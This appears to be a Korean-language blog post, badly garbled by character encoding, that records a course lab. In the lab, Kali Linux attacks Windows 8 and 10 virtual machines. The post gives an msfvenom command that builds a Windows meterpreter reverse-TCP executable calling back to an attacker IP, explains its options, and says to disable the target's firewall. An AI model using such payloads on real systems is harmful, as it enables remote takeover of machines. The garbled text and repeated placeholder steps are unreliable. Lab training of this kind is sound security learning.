! μ΄ ν¬μ€νΈμ λ΄μ©μ μ 곡 κ°μμμ λ€λ£¬ 리λ μ€ λ³΄μ μ€μ΅μ κΈ°λ‘μ©μ΄λ©°, μ΄λ νμ΅ λͺ©μ μΌλ‘λ§ μ¬μ©λμ΄μΌ ν©λλ€.
! μ΄λ ν κ²½μ°μλ μ΄λ¬ν κΈ°μ μ μ μ©νκ±°λ λΆλ²μ μΈ νλμ μ¬μ©ν΄μλ μ λ©λλ€.
! λͺ¨μ ν΄νΉκ³Ό κ΄λ ¨λ μ€μ΅μ ν©λ²μ μΈ νκ²½μμλ§ μνλμ΄μΌ νλ©°, 무λ¨μΌλ‘ λ€λ₯Έ μ¬λμ μμ€ν μ μ κ·Όνλ λ±μ νμλ λ²μ μΈ λ¬Έμ λ‘ μ΄μ΄μ§ μ μμ΅λλ€. μ΄λ¬ν κΈ°μ μ μ¬μ©ν λμλ νμ μ€λ¦¬μ μΈ μ± μμ κ°κ³ νλν΄μΌ ν©λλ€.
π μ€μ΅ μ μ©μ΄ μ 리
· Reverse TCP
- (μ°κ²° μμ 주체) 곡격 λμ μμ€ν μ΄ μ°κ²°μ μμ
- (μ°κ²° λ°©ν₯) 곡격μλ Meterpreterλ₯Ό μ€ννλ λμ μμ μ μμ€ν μμ μ°κ²°μ λκΈ°
· Bind TCP
- (μ°κ²° μμ 주체) 곡격μκ° μ°κ²°μ μμ
- (μ°κ²° λ°©ν₯) 곡격μμ μμ€ν μμ 곡격 λμ μμ€ν μΌλ‘μ μ°κ²°
- μ€μ΅ νκ²½
- (κ°μ νκ²½ VMware Workstation
- (곡격μ PC) Kali Linux
- (곡격 λμ PC) Windows 8
01. reverse μ μ±μ½λλ₯Ό μ¬μ©ν windows 8 ν΄νΉ
01-01. 곡격μ PC νκ²½μ€μ
01-02. msfvenom λͺ λ Ήμ΄λ‘ μ μ±μ½λ νμΌ μμ±
- reverse μ μ±μ½λ νμΌ μμ±
~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[곡격μ IP] -f exe -o [νμΌ μ΄λ¦.exe]
* μ΄ λͺ λ Ήμ Meterpreterλ₯Ό μ¬μ©νμ¬ Windows μμ€ν μ 64λΉνΈ μν€ν μ²λ₯Ό λμμΌλ‘ νλ reverse TCP μ°κ²°μ μ€μ νλ νμ΄λ‘λλ₯Ό μμ±νκ³ , ν΄λΉ νμ΄λ‘λλ₯Ό μ€ν κ°λ₯ν νμΌλ‘ μ μ₯νλ€. μ΄ νμΌμ 곡격μκ° μ€μ ν LHOST(곡격μ IP)λ‘λΆν° Meterpreter μ Έμ μ κ·ΌνκΈ° μν΄ μ¬μ©λ μ μλ€.
λͺ λ Ήμ΄ κ° μ΅μ μ μν μ λ€μκ³Ό κ°λ€.
' -p windows/x64/meterpreter/reverse_tcp '
- μ΄ μ΅μ μ μμ±νλ ¨λ νμ΄λ‘λμ μ νμ μ§μ
- μ¬κΈ°μλ Meterprter μ Έμ μ¬μ©νμ¬ Windows μμ€ν μ λν reverse TCP μ°κ²°μ μ€μ νλ νμ΄λ‘λλ₯Ό μμ±νλ €λ κ²μ
' LHOST=[곡격μ IP] '
- μ΄ μ΅μ μ 곡격μκ° μ°κ²°μ κΈ°λ€λ¦¬λ IP μ£Όμλ₯Ό μ§μ
- μ¬κΈ°μλ Meterpreterκ° μ°κ²°λκΈ° μν΄ κ³΅κ²© λμ μμ€ν μ΄ μ°κ²°ν΄μΌ νλ IP μ£Όμ, μ¦ κ³΅κ²©μ IP μ£Όμλ₯Ό μ 곡ν΄μΌ ν¨
' -f exe '
- μ΄ μ΅μ μ μμ±λ νμΌμ νμμ μ§μ
- μ¬κΈ°μλ μ€νκ°λ₯ν Windows μμ© νλ‘κ·Έλ¨(.exe)νμΌ νμμ μ νν¨
' -o [νμΌ μ΄λ¦.exe] '
- μ΄ μ΅μ μ μμ±λ νμ΄λ‘λ νμΌμ μ΄λ¦κ³Ό κ²½λ‘λ₯Ό μ§μ
~# dpkg --add-archit3cture i386
~# apt-get update
~# apt-get install wine32
* μ΄ λͺ λ Ήμ Linux μμ€ν μμ Wineμ μ€μΉνκΈ° μν λ¨κ³μ΄λ€. Wineμ Linux λ° λ€λ₯Έ μ λμ€ κ³μ΄ μ΄μ 체μ μμ Windows μμ© νλ‘κ·Έλ¨μ μ€νν μ μγ±λ° ν΄μ£Όλ νΈνμ± κ³μΈ΅μ΄λ€.
μλλ κ° λͺ λ Ήμ΄μ μ€λͺ μ΄λ€.
' dpkg --add-architecture i386 '
- μ΄ λͺ λ Ήμ΄λ μμ€ν μν€ν μ²μ i386 μν€ν μ²λ₯Ό μΆκ°
- μ΄κ²μ 32 λΉνΈ μμ© νλ‘κ·Έλ¨μ μ€ννκΈ° μν΄ νμν 32 λΉνΈ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ€μΉνλ λ° λμμ΄ λ¨
' apt-get update '
- ν¨ν€μ§ μ λ°μ΄νΈ
' apt-get install wine32 '
- Wineμ 32 λΉνΈ λ²μ μ€μΉ
- μμμ μΆκ°ν i386 μν€ν μ²λ₯Ό κΈ°λ°μΌλ‘ Wineμ μ€μΉνκΈ° λλ¬Έμ 32λΉνΈ Windows μμ© νλ‘κ·Έλ¨μ μ€νν μ μκ² ν¨
02. reverse μ μ±μ½λλ₯Ό μ¬μ©ν windows 10 ν΄νΉ
02-01. 곡격 λμ PC νκ²½μ€μ
- μλμ° 10 λ°©νλ²½ λͺ¨λ λκΈ°
02-02. msfvenom λͺ λ Ήμ΄λ‘ μ μ±μ½λ νμΌ μμ±
- 01-02μ λμΌν λ°©μμΌλ‘ μ μ±μ½λ μμ±
02-03. Metasploit μ¬μ©νμ¬ reverse 곡격 λͺ λ Ήμ΄ μ€ν
- 01-02μ λμΌν λ°©μμΌλ‘ μ μ±μ½λ μμ±
02-04. Windowsμμ μ μ±μ½λ νμΌ μ€ν ν 곡격 μν
- 01-02μ λμΌν λ°©μμΌλ‘ μ μ±μ½λ μμ±
'π¨ 보μ μ€λ¬΄ > λͺ¨μ ν΄νΉ' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
[λͺ¨μν΄νΉ] μ λμ€/리λ μ€ κΈ°λ°μ μ΄μ체μ μΉ¨ν¬ (0) | 2025.02.06 |
---|---|
[λͺ¨μ ν΄νΉ] Metasploitableμ μ΄μ©ν λ¬΄μ°¨λ³ λμ 곡격 (0) | 2024.06.03 |
[λͺ¨μ ν΄νΉ] λ²νΌ μ€λ²νλ‘μ° κ³΅κ²© μ€μ΅ (0) | 2024.06.03 |
[λͺ¨μ ν΄νΉ] μλμ°8 μ¬λΆν μ μ μ±μ½λ μ€ν (0) | 2024.03.05 |
[λͺ¨μ ν΄νΉ] μλμ°7 OS μΉ¨ν¬ μμ (1) | 2024.03.05 |